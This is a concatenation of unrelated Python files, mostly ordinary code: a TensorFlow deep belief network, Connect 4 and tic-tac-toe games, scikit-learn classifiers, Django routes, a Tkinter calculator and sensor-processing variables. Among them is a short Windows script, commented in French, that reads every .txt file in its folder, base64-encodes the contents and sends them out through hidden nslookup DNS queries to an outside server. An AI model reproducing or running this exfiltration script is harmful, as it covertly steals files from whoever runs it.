import tensorflow as tf
import numpy as np
import os
from rbn import RestrictedBoltzmanMachinesLayer
from tqdm import tqdm
trunc_normal = lambda stddev: tf.truncated_normal_initializer(0.0, stddev)

class DeepBeliefNetwork:
    #include all hyperparameters in init like learning rate, batch size, decay_rate .....
    def __init__(self, pretrain_iterations,rbm_layers,rbm_activations,freeze_rbms,
                 dense_layers,dense_activations,batch_normalization,output_activation,
                 batch_size,learning_rate,beta1,keep_chance=0.5,
                 name="dbn" ):
        #RBM Network
        self.rbms = []
        for i, layer in enumerate(rbm_layers):
            rbm_layer_name = "rbm_"+str(layer) + str(i)
            self.rbms.append(RestrictedBoltzmanMachinesLayer(layer, rbm_layer_name, freeze_rbms[i]))
        self.pretrain_iterations = pretrain_iterations
        self.learning_rbm_rate = learning_rate

        #Dense Network
        self.dense_layers = dense_layers
        self.dense_activation = dense_activations
        self.output_activation = output_activation
        self.batch_normalization = batch_normalization
        self.keep_chance = keep_chance
        self.name = name

        #Hyperparameters
        self.batch_size = batch_size
        self.learning_rate = learning_rate
        self.beta1 = beta1
        self.learning_rate_decay_examples = 4000
        self.learning_rate_decay = 0.96

        self.graph = None

    def pretrain(self,features):
        for i, layer in enumerate(self.rbms):
            best_loss = 121212121212.12
            since_improve = 0
            for j in tqdm(range(self.pretrain_iterations), desc='Pretraining Layer '+str(i+1)+' of '+str(len(self.rbms))):
                output = features[np.random.randint(0,features.shape[0],1)]
                for rbm in self.rbms[:i]:
                    output = rbm.sample_hidden_from_visible(output)
                loss = layer.rbn_update(output, self.learning_rbm_rate)
                if loss < best_loss:
                    best_loss = loss
                    since_improve = 0
                elif since_improve > 200:
                    self.learning_rbm_rate *= 0.96
                    since_improve = 0
                else:
                    since_improve += 1

    def variable_summaries(self,var):
        """Attach a lot of summaries to a Tensor (for TensorBoard visualization)."""
        with tf.name_scope('summaries'):
            mean = tf.reduce_mean(var)
            tf.summary.scalar('mean', mean)
            with tf.name_scope('stddev'):
                stddev = tf.sqrt(tf.reduce_mean(tf.square(var - mean)))
            tf.summary.scalar('stddev', stddev)
            tf.summary.scalar('max', tf.reduce_max(var))
            tf.summary.scalar('min', tf.reduce_min(var))
            tf.summary.histogram('histogram', var)

    def weight_variable(self,shape):
        initial = tf.truncated_normal(shape, stddev=0.01)
        return tf.Variable(initial)

    def bias_variable(sefl,shape): #tf.Variable(tf.zeros([num_units]), name='bias')
        initial = tf.constant(0.1, shape=shape)
        return tf.Variable(initial)

    def rbn_layer(self,input_tensor, weights, bias, act, is_frozen,layer_name="rbn_layer"):
       # print("this",weights)
        with tf.name_scope(layer_name):
            with tf.name_scope('weights_rbn'):
                if is_frozen:
                    with tf.name_scope('frozen_weights'):
                        #weights_var = tf.Variable(initial_value=tf.zeros([weights.shape[0], weights.shape[1]], tf.float32),trainable=False, dtype=tf.float32,validate_shape=False)
                        #weights_new = tf.assign_add(weights_var, weights)
                        #self.variable_summaries(weights_new)
                        weights_new = tf.get_variable(layer_name+"weights_frozen",initializer=weights.astype(np.float32),trainable=False, dtype=tf.float32)
                else:
                    with tf.name_scope('not_frozen_weights'):
                        #weights_var = tf.Variable(initial_value=tf.zeros([weights.shape[0], weights.shape[1]], tf.float32), dtype=tf.float32,validate_shape=False)
                        #weights_new = tf.assign_add(weights_var, weights)
                        #self.variable_summaries(weights_new)
                        weights_new = tf.get_variable(layer_name+"_weights_not_frozen",initializer=weights.astype(np.float32), dtype=tf.float32)
            with tf.name_scope('biases'):
                if is_frozen:
                    with tf.name_scope('frozen_bias'):
                        #biases_var = tf.Variable(initial_value=tf.zeros([weights.shape[1]]),trainable=False, dtype=tf.float32, validate_shape=False)
                        #bias_new = tf.assign_add(biases_var, np.squeeze(bias))
                        #self.variable_summaries(bias_new)
                        bias_new = tf.get_variable(layer_name+"bias_frozen",initializer=bias.astype(np.float32),trainable=False, dtype=tf.float32)
                else:
                     with tf.name_scope('not_frozen_bias'):
                        #biases_var = tf.Variable(initial_value=tf.zeros([weights.shape[1]]), dtype=tf.float32, validate_shape=False)
                        #bias_new = tf.assign_add(biases_var, np.squeeze(bias))
                        #self.variable_summaries(bias_new)
                        bias_new = tf.get_variable(layer_name+"bias_not_frozen",initializer=bias.astype(np.float32), dtype=tf.float32)
            with tf.name_scope('Wx_plus_b'):
                preactivate = tf.matmul(input_tensor, weights_new) + bias_new
                tf.summary.histogram('pre_activations', preactivate)
            activations = act(preactivate, name='activation')
            tf.summary.histogram('activations', activations)
            return activations

    def nn_layer(self,input_tensor, input_dim, output_dim, act=tf.nn.relu,batch_normalization=True,layer_name="nn_layer"):
        with tf.name_scope(layer_name):
            # This Variable will hold the state of the weights for the layer
            with tf.variable_scope('weights'):
                weights = self.weight_variable([input_dim, output_dim])
                self.variable_summaries(weights)
            with tf.variable_scope('biases'):
                #biases = self.bias_variable([output_dim])
                biases = tf.Variable(tf.zeros([output_dim]))
                self.variable_summaries(biases)
            with tf.variable_scope('Wx_plus_b'):
                preactivate = tf.matmul(input_tensor, weights) + biases
                tf.summary.histogram('pre_activations', preactivate)
            if batch_normalization:
                preactivate = tf.layers.batch_normalization(preactivate)
            activations = act(preactivate, name='activation')
            tf.summary.histogram('activations', activations)
            return activations, preactivate

    def model_inputs(self, input_size, output_size):
        with tf.name_scope('placeholders'):
            in_placeholder = tf.placeholder(tf.float32, [None, input_size], name='input')
            out_placeholder = tf.placeholder(tf.float32, [None, output_size], name='labels')
            dropout_placeholder = tf.placeholder(tf.float32, name='dropout')
            return in_placeholder, out_placeholder, dropout_placeholder

    def rbm_network(self,out, rbms):
        with tf.name_scope("rbm"):
            for rbm in rbms:
                    out = self.rbn_layer(input_tensor=out,
                                         weights=rbm.W,
                                         bias=rbm.bias_hidden,
                                         act=tf.nn.sigmoid,
                                         is_frozen=rbm.is_frozen,
                                         layer_name=rbm.name)
            num_prev_outputs = rbms[-1].num_hidden
            return out, num_prev_outputs

    def dense_network(self, out, num_prev_outputs, fully_connected_layers, activation,batch_normalization, dropout):
        with tf.name_scope("dense"):
            for i, connected in enumerate(fully_connected_layers):
                out = tf.layers.dropout(out, dropout, name='dropout_'+str(i))
                out,_ = self.nn_layer(out, num_prev_outputs, connected, act=activation[i],batch_normalization=batch_normalization[i],layer_name="dense_layer_"+str(i))

                num_prev_outputs = connected
            return out, num_prev_outputs

    def last_layer(self, out, num_prev_outputs,output_size, dropout):
        out = tf.layers.dropout(out, dropout, name='dropout_before_last_layer')
        out,net = self.nn_layer(out, num_prev_outputs, output_size, act=tf.nn.softmax,layer_name="OutputLayer")
        return out, net

    def network(self, features,dropout, rbms,fully_connected_layers, activation, output_size,batch_normalization):
        with tf.variable_scope('model_architecture'):
            out_rbm, num_prev_outputs = self.rbm_network(features, rbms)
            out_dense, num_prev_outputs_one = self.dense_network(out_rbm, num_prev_outputs,fully_connected_layers, activation,batch_normalization, dropout)
            out, net = self.last_layer(out_dense, num_prev_outputs_one,output_size, dropout)
            return out, net

    def model_loss_accuracy(self,labels,out, net):
        with tf.name_scope("loss"):
            loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(labels=labels, logits=net))
        with tf.name_scope('accuracy'):
            with tf.name_scope('correct_prediction'):
                correct_prediction = tf.equal(tf.argmax(out, 1),tf.argmax(labels, 1))
            with tf.name_scope('final_accuracy'):
                accuracy = tf.reduce_sum(tf.cast(correct_prediction, tf.float32))
        return loss, accuracy, correct_prediction

    def model_opt(self, loss, learning_rate, beta1):
        t_vars = tf.trainable_variables()
        t_vars_list = [var for var in t_vars if var.name.startswith('model_architecture')]
        train_opt = tf.train.AdamOptimizer(learning_rate, beta1=beta1).minimize(loss, var_list=t_vars_list)
        #train_opt = tf.train.RMSPropOptimizer(learning_rate).minimize(loss, var_list=t_vars_list)
        return train_opt

    def build_graph(self,rbn_data,input_size, output_size):
        self.pretrain(rbn_data)
        if self.graph is None:
            g = tf.Graph()
        else:
            g = self.graph
        with g.as_default():
            self.features, self.labels, self.dropout = self.model_inputs(input_size, output_size)
            self.global_step = tf.Variable(0, name='global_step', trainable=False)
            self.out, self.net = self.network(self.features, self.dropout, self.rbms, self.dense_layers, self.dense_activation, output_size, self.batch_normalization)
            self.loss, self.accuracy, self.correct_prediction = self.model_loss_accuracy(self.labels, self.out, self.net)
            self.exp_learning_rate = tf.train.exponential_decay(self.learning_rate,
                                                    self.global_step * self.batch_size ,
                                                    self.learning_rate_decay_examples,
                                                    self.learning_rate_decay,
                                                    staircase=True)
            self.train_op = self.model_opt(self.loss, self.exp_learning_rate,self.beta1)
        self.graph = g


#!/usr/local/bin/python3
from termcolor import colored, cprint
"""
Connect 4
|x|x|x|x|x|x|x|
---------------
|x|x|x|x|x|x|x|
---------------
|x|x|x|x|x|x|x|
---------------
|x|x|x|x|x|x|x|
---------------
|x|x|x|x|x|x|x|
---------------
|x|x|x|x|x|x|x|
---------------

"""
ROWS = 12
COLUMNS = 15

game = [[" ", " ", " ", " ", " ", " "],
        [" ", " ", " ", " ", " ", " "],
        [" ", " ", " ", " ", " ", " "],
        [" ", " ", " ", " ", " ", " "],
        [" ", " ", " ", " ", " ", " "],
        [" ", " ", " ", " ", " ", " "],
        [" ", " ", " ", " ", " ", " "]]

print_x = lambda x : cprint(x, 'red', 'on_white', attrs=['bold'], end="")
print_o = lambda x : cprint(x, 'blue', 'on_white', attrs=['bold'], end="")
ellipse = u'\u2B2E'

def print_board(game):
    for row in range(ROWS):
        new_row = int(row/2)
        if row % 2 == 0:
            for col in range(COLUMNS):
                new_col = int(col/2)
                if col % 2 == 0:
                    if col != COLUMNS-1:
                        cprint("|", 'green', 'on_cyan', end="")
                    else:
                        cprint("|", 'green', 'on_cyan')
                else:
                    if game[new_col][new_row] == 'X':
                        print_x(ellipse)
                    elif game[new_col][new_row] == 'O':
                        print_o(ellipse)
                    else:
                        print_o(game[new_col][new_row])
        else:
            cprint("-" * COLUMNS, 'green', 'on_cyan')
    return True

def check_winner(column, game):
    depth = 3
    num_check = 4
    row_elem = 5
    for check in range(depth):
        check_ver_list = game[column][check:check + num_check]
        win_ver_x = [i == "X" for i in check_ver_list]
        win_ver_o = [i == "O" for i in check_ver_list]
        if all(win_ver_x) or all(win_ver_o):
            return True

    for check in range(num_check):
        hor_list = game[check:check + num_check]
        for row_hor in range(row_elem, -1, -1):
            check_hor_list = [hor_list[i][row_hor] for i in range(num_check)]
            win_hor_x = [i == "X" for i in check_hor_list]
            win_hor_o = [i == "O" for i in check_hor_list]
            if all(win_hor_x) or all(win_hor_o):
                return True

    col = [i for i in range(len(game))]
    row_right = [i for i in range(row_elem, -1, -1)]
    row_left = [i for i in range(len(game[column]))]
    dia_right = []
    dia_left = []

    for i in range(num_check):
        for j in range(depth):
            for k in range(num_check):
                dia_right += [game[col[k+i]][row_right[k+j]]]
                dia_left += [game[col[k+i]][row_left[k+j]]]
            win_dia_right_x = [i == "X" for i in dia_right]
            win_dia_right_o = [i == "O" for i in dia_right]
            win_dia_left_x = [i == "X" for i in dia_left]
            win_dia_left_o = [i == "O" for i in dia_left]
            if all(win_dia_right_x) or all(win_dia_right_o):
                return True
            if all(win_dia_left_x) or all(win_dia_left_o):
                return True
            dia_right = []
            dia_left = []

def main():
    player = 1
    winner = False
    player_x = colored('Where do you want to put your piece?: ', 'red', attrs=['bold', 'reverse'])
    player_o = colored('Where do you want to put your piece?: ', 'blue', attrs=['bold', 'reverse'])
    while not winner:
        if player == 1:
            try:
                column = int(input(player_x)) - 1
                if column < 0 or column >= len(game):
                    print("Wrong column, try again")
                else:
                    for row in range(len(game[column]), 0, -1):
                        row_limit = row - 1
                        if game[column][row_limit] == " ":
                            game[column][row_limit] = "X"
                            if check_winner(column, game):
                                print("Winner")
                                winner = True
                            print_board(game)
                            player = 2
                            break
            except ValueError:
                print("Wrong value, try again")

        else:
            try:
                column = int(input(player_o)) - 1
                if column < 0 or column >= len(game):
                    print("Wrong column, try again")
                else:
                    for row in range(len(game[column]), 0, -1):
                        row_limit = row - 1
                        if game[column][row_limit] == " ":
                            game[column][row_limit] = "O"
                            if check_winner(column, game):
                                print("Winner")
                                winner = True
                            print_board(game)
                            player = 1
                            break
            except ValueError:
                print("Wrong value, try again")

main()


"""
Implementation for the game ``Board`` and the ``naught_bot`` that will play
the game.
"""
import itertools
from . import exceptions as ex

NAUGHT = False
CROSS = True
EMPTY = None

class Board(object):
    """Defines and enforces the game rules."""

    __cells = None
    __first_player = None
    __winner = None

    def __repr__(self):
        substitutions = {
            EMPTY: " ",
            NAUGHT: "o",
            CROSS: "x",
        }

        return (" {0} | {1} | {2} \n"
                "===========\n"
                " {3} | {4} | {5} \n"
                "===========\n"
                " {6} | {7} | {8} \n"
                ).format(*map(lambda v: substitutions[v], self.cells))

    __str__ = __repr__

    @classmethod
    def __empty_board(cls):
        return [EMPTY, ] * 9

    def __init__(self, cells=None, first_player=None):
        """
        :param cells: list of cell states
        :param first_player: sets who made the first mark on the board
                            (required when cells is not None).
        """
        if cells is None:
            # when cells is None, we start with an empty board (and therefore
            # can't have a first player).
            first_player = None
            cells = self.__empty_board()
        elif first_player is None:
            raise ex.FirstPlayerRequiredError("first_player is required "
                                              "when setting cells for initial "
                                              "state")

        self.__first_player = first_player
        self.__cells = cells

        if len(self.__cells) != 9:
            raise ex.SizeError("Unexpected Board size. "
                               "Board must have 9 cells.")

    @property
    def first_player(self):
        return self.__first_player

    @property
    def cells(self):
        return (cell for cell in self.__cells)

    @property
    def rows(self):
        return (indexes for indexes in [(0, 1, 2), (3, 4, 5), (6, 7, 8)])

    @property
    def columns(self):
        return (indexes for indexes in [(0, 3, 6), (1, 4, 7), (2, 5, 8)])

    @property
    def diagonals(self):
        return (indexes for indexes in [(0, 4, 8), (2, 4, 6)])

    @property
    def groupings(self):
        """combines the index generators returned by
        ``rows``, ``columns``, and ``diagonals`` to simplify searching through
        the board for win opportunities."""
        return itertools.chain(self.rows, self.columns, self.diagonals)

    @property
    def winner(self):
        if self.__winner is None:
            for cells in self.groupings:
                group = self[cells]
                if group.count(NAUGHT) == 3:
                    self.__winner = NAUGHT
                    break
                elif group.count(CROSS) == 3:
                    self.__winner = CROSS
                    break
        return self.__winner

    def game_is_over(self):
        return self.winner is not None or self.__cells.count(EMPTY) == 0

    def __getitem__(self, item):

        try:
            # When item is a sequence we'll return a list of the values for
            # the indexes specified.
            return [self.__cells[int(i)] for i in item]
        except TypeError:
            # otherwise ensure we only get a single int argument (not a slice).
            return self.__cells[int(item)]

    def __setitem__(self, key, value):
        if value not in (NAUGHT, CROSS):
            raise ValueError

        if self.__cells[key] is not EMPTY:
            raise ex.NonEmptyCellError(key)

        if self.__first_player is None:
            # Note who placed the first mark on the board
            self.__first_player = value
        elif self.winner is not None:
            # If there's a winner already, raise out before the assignment
            # is made.
            raise ex.GameOver(winner=self.winner)

        original_val = self.__cells[key]

        try:
            self.__cells[key] = value
            crosses = self.__cells.count(CROSS)
            naughts = self.__cells.count(NAUGHT)

            # First player should always be the player to "lead" the mark count
            # (if the counts are equal, the next move belongs to the first
            # player).
            # Neither player should ever have more than a 1 mark lead/gap on
            # the board.
            lead_belongs_to_player_two = (crosses != naughts
                                          and value != self.__first_player)
            gap_too_large = max(crosses, naughts) - min(crosses, naughts) > 1
            if gap_too_large or lead_belongs_to_player_two:
                raise ex.DoubleMoveError

            if self.game_is_over():
                raise ex.GameOver(winner=self.winner)

        except ex.DoubleMoveError:
            # we are try/excepting so the assignment to the cells list is
            # rolled back, but we still want the exception to bubble up.
            self.__cells[key] = original_val
            raise

def naught_bot(board):
    """Evaluates the board state and decides which cell it wants to mark.
    :param board: A :class:`Board` instance evaluate.
    :returns: index of the cell it intends to mark.
    """
    if board[4] is EMPTY:
        # Always take the center if it's open
        return 4

    # Test for naught first since a win is better than a block
    for mark in (NAUGHT, CROSS):
        # Critical cells are those that have 1 empty and 2 of the same mark,
        # they should be addressed first.
        for cells in board.groupings:
            values = board[cells]

            if values.count(EMPTY) == 1 and values.count(mark) == 2:
                return cells[values.index(EMPTY)]

    corners = (0, 2, 6, 8)
    edges = (1, 3, 5, 7)

    # When the player selects a corner and an edge, they may be setting up to
    # "flank" the bot and create 2 win opportunities (thus making it
    # impossbile for the bot to block).
    # In this situation, mark the cell in the corner opposite the player.
    flanking = (board[corners].count(CROSS) == board[edges].count(CROSS) == 1)

    # The double edge play is when the player selects 2 edges with an open
    # corner in between them. The bot needs to plug the corner asap to
    # prevent a flank in the next move.
    double_edge_play = (board[edges].count(CROSS) == 2)
    if board[4] is NAUGHT and double_edge_play:
        # Kind of an odd approach, but I found that adding the 2 indexes and
        # subtracting 4 gave us the corner index nestled in between them.
        sum_idx = sum(
            idx for (idx, val) in zip(edges, board[edges]) if val is CROSS)
        corner = abs(sum_idx - 4)

        if board[corner] is EMPTY:
            return corner

    elif board[4] is NAUGHT and flanking:
        crossed_corner = next(
            idx for (idx, val) in zip(corners, board[corners]) if val is CROSS)
        # subtracting 8 and forcing unsigned should get us the opposite corner
        return abs(crossed_corner - 8)

    # General cell selection (for when there isn't a more specific threat).
    # Corners are generally better targets than edges
    elif board[4] is NAUGHT and list(board[corners]).count(CROSS) > 1:
        return next(idx for (idx, val) in enumerate(board.cells)
                    if idx in edges and val is EMPTY)
    elif board[corners].count(EMPTY) > 0:
        return next(idx for (idx, val) in enumerate(board.cells)
                    if idx in corners and val is EMPTY)
    # if there are no corners free, just pick the first available open cell
    return next(idx for idx, val in enumerate(board.cells) if val is EMPTY)


# 1. libraries
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from sklearn.impute import SimpleImputer
from sklearn.preprocessing import LabelEncoder, OneHotEncoder, StandardScaler
from sklearn.model_selection import train_test_split
from sklearn.metrics import confusion_matrix
from sklearn.neighbors import KNeighborsClassifier
from sklearn.svm import SVC
from sklearn.naive_bayes import GaussianNB

df = pd.read_csv("../data/bilkav/sec1_preprocessing/veriler.csv")

x = df.iloc[:, 1:4]
y = df.iloc[:, 4:]

x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.33, random_state=0)

# 4. attribute scaling
sc = StandardScaler()
X_train = sc.fit_transform(x_train)
X_test = sc.transform(x_test)

from sklearn.linear_model import LogisticRegression

log_reg = LogisticRegression(random_state=0)
log_reg.fit(X_train, y_train)

y_pred = log_reg.predict(X_test)

cm = confusion_matrix(y_pred, y_test)
print(cm)

print("------knn------")
knn = KNeighborsClassifier(n_neighbors=5, metric='minkowski')
knn.fit(X_train, y_train)

y_pred = knn.predict(X_test)
cm = confusion_matrix(y_pred, y_test)
print(cm)

print("------svc------")
svc = SVC(kernel='linear')
svc.fit(X_train, y_train)

y_pred = svc.predict(X_test)
cm = confusion_matrix(y_pred, y_test)
print(cm)

print("------svc_rbf------")
svc = SVC(kernel='rbf')
svc.fit(X_train, y_train)

y_pred = svc.predict(X_test)
cm = confusion_matrix(y_pred, y_test)
print(cm)

print("------svc_poly------")
svc = SVC(kernel='poly')
svc.fit(X_train, y_train)

y_pred = svc.predict(X_test)
cm = confusion_matrix(y_pred, y_test)
print(cm)

print("------gaussian navie bayes------")
gnb = GaussianNB()
gnb.fit(X_train, y_train)

y_pred = gnb.predict(X_test)
cm = confusion_matrix(y_pred, y_test)
print(cm)


import uuid

class User:

	def __init__(self,user_id, firstname, lastname,othername,email,phone_number,
					username, registered,is_admin):

		self.user_id = user_id
		self.firstname = firstname
		self.lastname = lastname
		self.othername = othername
		self.email = email
		self.phone_number = phone_number
		self.username =  username
		self.registered = registered
		self.is_admin = is_admin

class Incident:

	def __init__(self,incident_type, incident_id,created_by, created_on,
					status, location, images, videos, comment):

		self.incident_type = incident_type
		self.incident_id = incident_id
		self.created_by = created_by
		self.created_on = created_on
		self.status = status
		self.location = location
		self.images = images
		self.videos = videos
		self.comment = comment


from django.urls import path

from . import views

urlpatterns = [
    path("manage_products/<int:id>", views.manage_products, name="manage_products"),
    # path("getone/<int:id>", views.getone, name="getone"),
    path("delete_prod/<int:id>/<int:seller_id>", views.delete_prod, name="delete_prod"),
    path("update_prod/<int:id>", views.update_prod, name="update_prod"),
]


import numpy as np
import tensorflow as tf
import os

from sklearn.metrics import mean_squared_error as mse
from sklearn.metrics import mean_absolute_error as mae
from sklearn.metrics import mean_absolute_percentage_error as mape
from sklearn.metrics import top_k_accuracy_score as top_accuracy

def compute_error(y_true, y_pred):
    top_y_true, top_y_pred = y_true[np.nonzero(y_true > 1)], y_pred[np.nonzero(y_true > 1)]
    unique_idx = tuple(np.unique((np.nonzero(y_true > 0)[0], np.nonzero(y_true > 0)[1]), axis=1))

    n_districts = y_true.shape[-1]

    mse_score = mse(np.ravel(y_true), np.ravel(y_pred))
    mae_score = mae(np.ravel(y_true), np.ravel(y_pred))
    mape_score = mape(top_y_true, top_y_pred)
    topk_acc = top_accuracy(np.argmax(y_true[unique_idx]/n_districts, axis=1), y_pred[unique_idx]/n_districts, k=round(n_districts*0.20), labels=[l for l in range(n_districts)])
    return { 'MAE': mae_score, 'MSE': mse_score, 'MAPE': mape_score, 'ACC': topk_acc }

def stepwise_error(y_true, y_pred, n_steps):
    mae_scores, mse_scores, mape_scores, topk_accs = [], [], [], np.zeros(y_true.shape[:-1], dtype=int)

    n_districts = y_true.shape[-1]

    for t in range(n_steps):
        y_true_t, y_pred_t = y_true[:,t,:], y_pred[:,t,:]
        top_y_true, top_y_pred = y_true_t[np.nonzero(y_true_t > 1)], y_pred_t[np.nonzero(y_true_t > 1)]

        mse_scores.append(mse(np.ravel(y_true_t), np.ravel(y_pred_t)))
        mae_scores.append(mae(np.ravel(y_true_t), np.ravel(y_pred_t)))
        mape_scores.append(mape(top_y_true, top_y_pred))

    for i in range(y_true.shape[0]):
        for t in range(n_steps):
            m_true, m_pred = max(y_true[i,t,:]), max(y_pred[i,t,:])
            t_true = [di for di, val in enumerate(y_true[i,t,:]) if val == m_true and m_true > 0] # list (if there are more than one regions) of ground truth

            with tf.device('/cpu:0'):
                if m_pred == 0:
                    t_pred = [di for di, val in enumerate(y_pred[i,t,:]) if val == m_pred and m_pred > 0] # list of predicted scores
                else:
                    t_pred = tf.math.top_k(y_pred[i,t,:], k=round(n_districts * 0.20)).indices.numpy()

            C1 = len(t_true) == 0 and len(t_pred) == 0 # correctedly predict that there is no risk region at time t
            C2 = sum(tp in t_true for tp in t_pred) > 0 # correctedly select the high risk region at time t "at least one"

            if C1 or C2:
                topk_accs[i, t] += 1

    return { 'MAE': mae_scores, 'MSE': mse_scores, 'MAPE': mape_scores, 'ACC': list(np.average(topk_accs, axis=0)), 'TOP_ACC': topk_accs }


import tkinter as tkk
s = tkk.Tk()
s.geometry('500x500')

l =  tkk.StringVar()
m =  tkk.StringVar()
n =  tkk.StringVar()

def prt():
    a = int(l.get())
    b = int(m.get())
    c = int(n.get())
    print('Your simple interest is',a*b*c)
tkk.Label(s,text='Principal Amount',).grid(row = 100, column = 100)
tkk.Label(s,text='Rate',).grid(row = 200, column =100 )
tkk.Label(s,text='Time',).grid(row =300 , column =100 )
tkk.Label(s, text= 'Simple Interest Calculator').grid(row = 0, column = 150)
tkk.messagebox.showinfo("Simple Interest", prt)
P = tkk.Entry(s,  textvariable = l).grid(row =100, column = 150)
R = tkk.Entry(s, textvariable = m).grid(row =200, column = 150)
T = tkk.Entry(s, textvariable = n).grid(row =300, column = 150)
B = tkk.Button(s, text = 'Press for Simple Interest', command = prt ).grid(row = 400, column =150)
s.mainloop()


##script windows
import os, base64, subprocess

## On recupere la liste des fichiers a l'endroit ou le script est place sur le systeme de fichiers
file_list = os.listdir("./")
## Pour chaque fichier du dossier
for file in file_list:
		## Si le fichier est un .txt
		if file.endswith(".txt"):
			ct =''
			## On ouvre alors son contenu et on le stocke dans la variable ct
			FILE = open(file, "r")
			ct = FILE.read()
			## On code le contenu en base 64 et on rajoute .hack.com qui nous permettra de retrouver plus facilement nos requètes plus tard
			b64ct = base64.b64encode(ct) + ".hack.com"
			## On appelle la commande nslookup avec le contenu du fichier et on requete notre serveur en cachant la cmd
			subprocess.call(["nslookup", str(b64ct), "devdown.fr"], creationflags=0x08000000)
			## On ferme alors notre fichier
			FILE.close()


from zope.interface import Interface, implements
from zope import schema
from plone.app.users.userdataschema import IUserDataSchemaProvider
from plone.app.users.userdataschema import IUserDataSchema

from pressapp.memberprofiles import MessageFactory as _

class UserDataSchemaProvider(object):
    implements(IUserDataSchemaProvider)

    def getSchema(self):
        """ Subclass member schema """
        return IEnhancedUserDataSchema

class IEnhancedUserDataSchema(IUserDataSchema):
    """ Use the default user data schema fields and add
        custom extra fields.
    """

    organization = schema.TextLine(
        title=_(u'label_organization', default=_(u'Organization')),
        description=_(u'help_organization',
            default=_(u'Enter the official name of the organization. This will be automatically inserted into press releases')),
        required=True,
    )
    presslink = schema.URI(
        title=_(u'label_presslink', default=_(u'Press Link')),
        description=_(u'help_presslink', default=_(u'Please enter specific press link.')),
        required=True,
    )


#encoding: UTF-8

# Autor: tuNombreCompleto, tuMatricula
# Descripcion: Texto que describe en pocas palabras el problema que estás resolviendo.

# A partir de aquí escribe tu programa
mujeres = int(input("Mujeres inscritas: "))
hombres = int(input("Hombres inscritos: "))
total = mujeres + hombres

porcentajeMujeres = round((mujeres / total)* 100, 1)
porcentajeHombres = round((hombres / total)* 100, 1)

print("Total de inscritos: ", total)
print("Porcentaje de mujeres: ", porcentajeMujeres, "%", sep="")
print("Porcentaje de hombres: ", porcentajeHombres, "%", sep="")


import socket
import array as arr
import statistics as st
import os, time, sys
import errno
import math
# import pyttsx3
import Heat_Handler as hh
import TCP_Server_m as Server
import utility
import pyqtgraph as pg
from pyqtgraph.Qt import QtCore, QtGui
import numpy as np
import sys
import time
import pyqtgraph.console
import matplotlib.pyplot as plt

# ------------- Begin: variables declaration -------------
FACTOR_MOT = 50  # use this factor to standardize motion standard deviation to 50
STEP_FOOT = 0.2  # 'step' second to check footstep samples, e.g. 0.2 means check samples of every 0.2 second
THRES_FOOT = 10  # footstep threshold

server = None
# fall_words = ['help', 'ouch', 'fell', 'fall']
# r = sr.Recognizer()
help_list = []

AUD_FILTER_THRES = 3 # for audio sound median filter threshold

# buf_aud_val = []
buf_aud_val = np.empty((0,2), float)
buf_aud_val_last = np.empty((0,2), float)
# buf_vib_val = []
buf_vib_val = np.empty((0,2), float)
buf_mot_val = []
buf_heat_val = []
buf_humn_val = []
buf_heat_mtr = []

buf_mot_val_tag0 = []
buf_mot_val_tag2 = []

# buf_aud_val_real = []
buf_aud_val_real = np.empty((0,2), float)
# buf_vib_val_real = []
buf_vib_val_real = np.empty((0,2), float)
buf_mot_val_real = []
buf_heat_val_real = []
buf_humn_val_real = []

# buf_mot_std = []  # [ts, mot_std]
buf_mot_std_real = []  # [ts, mot_std]
# ts_mot_std_last = -1

buf_power_S_norm_real = np.empty((0,6), float) #  [] # sound normalized power
buf_power_V_norm_real = np.empty((0,6), float) # vibration normalized power
NUM_BUF_POWER = 1200       # number of normalized sound and vibration power buffer

# v_max_powers = np.empty((0,5), float)

noise_power_vib = -1
noise_power_aud = -1

checking_buffer_aud = []
checking_buffer_vib = []
checking_buffer_mot = []
checking_buffer_heat = []

checking_buffer_mot_tag0 = []
checking_buffer_mot_tag2 = []

pre_min_buff_time = 0

MAX_BUF = 1000
MAX_BUF_HEAT = 1500  # for heat samples for 1 hour
TIME_CHK = 5  # 5 seconds
TIME_PLOT = 0.5  # plot time

# Create figure for plotting
fig = plt.figure()
sub_plot_aud = fig.add_subplot(4, 1, 1)
sub_plot_vib = fig.add_subplot(4, 1, 2)
sub_plot_mot = fig.add_subplot(4, 1, 3)
sub_plot_heat = fig.add_subplot(4, 1, 4)

time_next = -1
matr_thresh = None

MAX_FLOAT = 10 ** 20  # simulate a largest float number
FIFO_NAME = '/tmp/pipefifo'
BUFFER_SIZE = 40
STATE = 0  # state 1: training session. State 2: analyzing session
DURATION_CHECK = 1  # 2 seconds check
time_check = -1

min_buff_time = -1
new_min_buff_time = -1
pre_floor_time = -1
pre_floor_time_next = -1
pre_floor_time_y = -1  # the previous buffer cutting floor time

calib_std_tag0 = -1
calib_std = -1
calib_std_tag2 = -1

rf_threshold_tag0 = -1
rf_threshold = -1
rf_threshold_tag2 = -1

time_start = -1

motion_threshold = 2 # 1 for footstep detection # 3 for fall detection
motion_threshold_tag0 = 2 # 1 for footstep detection # 3 for fall detection
motion_threshold_tag2 = 2 # 1 for footstep detection # 3 for fall detection

# tidx = 0
# time_arr = []
mov_arr = []
mov_val = []
fcandidates = []

mov_arr_tag0 = []
mov_val_tag0 = []

mov_arr_tag2 = []
mov_val_tag2 = []

# vec_power = [] # signal power vector using maximal ratio combining to combine sound signal and vibration signal

aud_thres = -1
prev_ewma = 0
aud_std = 0
prev_var = 0

# aud_thres_filter = -1 # an audio threshold used to filter spike noise from sound

# vib_threshold = [31000, 15000, 10000, 10000]
vib_threshold = [6500, 6500, 6500, 6500]
vibration_threshold = 7000 # 6500

time_transition = -1
vib_check1 = -1

TIME_LIMITED = 20  # 20 seconds
time_chk_heat = -1
time_heat_start = -1
time_heat_thrsh = -1
is_candidate = False
time_curr = -1
SECOND_CALIB = 5 # 10 # 5   # number of seconds used for motion sensor calibration
ts_1sec_begin = -1
ts_1sec_end = -1

mflag = 0
vflag = 0
aflag = 0
hflag = 0
flag_stand = -1

vflag_last = -1
aflag_last = -1

is_start = False
is_plot_on = False
candidates = []
NUM_CANDIDATE = 3
speech_flag = -1
speech_timer = -1

asave = []
vsave = []
hsave = []

is_lower_human = 0
time_1sec = -1
pipe_out = []
samples_remain = {}
offset_time = {}

mot_ts = -1
vib_ts = -1

time_update = -1

# ------------- End: variables declaration -------------


__author__ = 'pavel'

from parserBase import ParserBase
import globals

#purchaseStages=PLACEMENT_COMPLETE" \
#"&purchaseStages=APPLICATION_FILING" \
